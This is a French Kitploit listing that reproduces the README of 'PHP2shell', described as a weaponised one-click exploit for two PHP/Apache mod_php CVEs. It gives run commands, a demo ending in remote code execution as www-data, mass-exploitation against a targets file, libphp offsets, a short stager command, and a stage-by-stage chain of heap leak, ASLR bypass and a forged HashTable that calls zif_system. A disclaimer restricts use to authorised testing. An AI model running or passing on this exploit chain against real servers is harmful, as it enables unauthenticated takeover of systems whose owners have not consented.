Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PHP2shell — PoC d'exploitation en un clic pour CVE-2026-109618 et CVE-2026-109619 contre des cibles vulnérables PHP + Apache mod_php (prefork). | Kitploit
Outils/GitHubGitHub/0xgh057r3c0n/php2shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHub0xgh057r3c0n/php2shell

PHP2shell

PoC d'exploitation en un clic pour CVE-2026-109618 et CVE-2026-109619 contre des cibles vulnérables PHP + Apache mod_php (prefork).

Voir le dépôt
1il y a 11h 57mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Logo PHP

💀 PHP2shell

PoC weaponisé en un clic pour CVE-2026-109618 & CVE-2026-109619

Ciblant les déploiements PHP + Apache mod_php (prefork) vulnérables.

CVSS License Python Author

⚠️ AVERTISSEMENT : Cet outil est fourni strictement pour les tests de sécurité autorisés, les CTF et la recherche pédagogique. Ne l'utilisez pas contre une infrastructure que vous ne possédez pas ou pour laquelle vous ne disposez pas d'une autorisation explicite de test. L'auteur décline toute responsabilité en cas de mauvaise utilisation.


⚡ L'exploit

PHP2shell est un exploit de corruption de mémoire multi-étapes ciblant le cœur de PHP au sein des environnements Apache mod_php prefork.

En abusant de la gestion de l'Out-Of-Memory (OOM) et de l'état lié à la requête qui persiste dans les workers persistants, cet exploit contourne l'ASLR (Address Space Layout Randomization), divulgue des pointeurs internes du tas et de libphp.so, et forge des structures PHP pour parvenir à une exécution de code à distance (RCE) non authentifiée.

🎯 Profils pris en charge

  • bookworm (par défaut) : Image Docker officielle php:8.4.26-apache sur Debian Bookworm.
  • lab : Build de lab personnalisé (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).

🚀 Démarrage rapide

Soyez opérationnel en quelques secondes.

1. Cloner & préparer

git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py

2. Fire in the Hole

python3 php2shell.py -u http://127.0.0.1:8088/index.php

📸 Démo du terminal

$ python3 php2shell.py -u http://target.local/index.php

       .__           ________         .__           .__  .__   
______ |  |__ ______ \_____  \   _____|  |__   ____ |  | |  |  
\____ \|  |  \\____ \ /  ____/  /  ___/  |  \_/ __ \|  | |  |  
|  |_> >   Y  \  |_> >       \  \___ \|   Y  \  ___/|  |_|  |__
|   __/|___|  /   __/\_______ \/____  >___|  /\___  >____/____/
|__|        \/|__|           \/     \/     \/     \/           

                 php2shell — CVE-2026-109618 / CVE-2026-109619
                             CVSS v4.0: 9.2 Critical
                              author: 0xgh057r3c0n

[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Utilisation avancée

Cliquez pour développer toutes les options et techniques

Commandes personnalisées (limite de 14 octets)

En raison de la taille de porteuse de 167 octets, la longueur de la commande est strictement limitée à 14 octets. Pour exécuter des charges utiles plus longues, utilisez un stager court :

python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'

Fichiers cibles (exploitation de masse)

Créez un fichier targets.txt :

http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local

Exécutez l'exploit séquentiellement contre toutes les cibles :

python3 php2shell.py -t targets.txt

Décalages explicites

Si vous avez extrait les décalages manuellement ou ciblez une compilation personnalisée, transmettez-les directement :

python3 php2shell.py -u http://target.local/index.php \
  --zif-offset 0x43A870 \
  --dtor-offset 0x613C50 \
  --htdata-offset 0x690D8

Vérification à distance

Au lieu de vérifier un fichier local, forcez l'exploit à vérifier la RCE en récupérant un fichier via HTTP :

python3 php2shell.py -u http://target.local/index.php \
  -c 'id>/out/p1' \
  --proof-file '' \
  --fetch /out/p1

Tous les arguments CLI

ArgumentDescription
-u, --urlURL de la page PHP cible
-t, --target-fileFichier contenant une URL cible par ligne
-c, --cmdCommande à exécuter (max 14 octets)
--proof-fileFichier de preuve local à vérifier (par défaut : out/p1)
--fetchChemin GET pour vérifier l'exploitation à distance
--profileProfil cible : bookworm (par défaut) ou lab
--zif-offsetOffset de zif_system dans libphp.so
--dtor-offsetOffset de ZVAL_PTR_DTOR dans libphp.so
--htdata-offsetOffset relatif au chunk de la chaîne de 167 octets
--retriesTentatives par étape de fuite (par défaut : 3)
--no-colorDésactiver les couleurs ANSI

🧠 Décomposition de la chaîne d'attaque

Étape 0 Rotation des workers : Envoie une requête surdimensionnée pour forcer Apache prefork à abandonner le worker courant et à créer un nouveau processus enfant avec un tas propre.
Étape 1 Fuite de tas : Déclenche une corruption OOM afin qu'un pointeur global de module référence de la mémoire libérée. Des champs de formulaire pulvérisés récupèrent l'emplacement avec un zend_string forgé, divulguant des pointeurs de tas via Set-Cookie.
Étape 2 Contournement de l'ASLR : Divulgue un pointeur zval_ptr_dtor depuis libphp.so. La soustraction du DTOR_OFFSET connu révèle l'adresse de base de la bibliothèque.
Étape 3 RCE : Forge une fausse HashTable et définit pDestructor sur libphp_base + ZIF_OFFSET. La routine de nettoyage de PHP appelle zif_system avec votre commande.

Sous licence MIT License. Voir LICENSE pour plus de détails.

Conçu avec 🔥 par 0xgh057r3c0n

Télécharger l’outil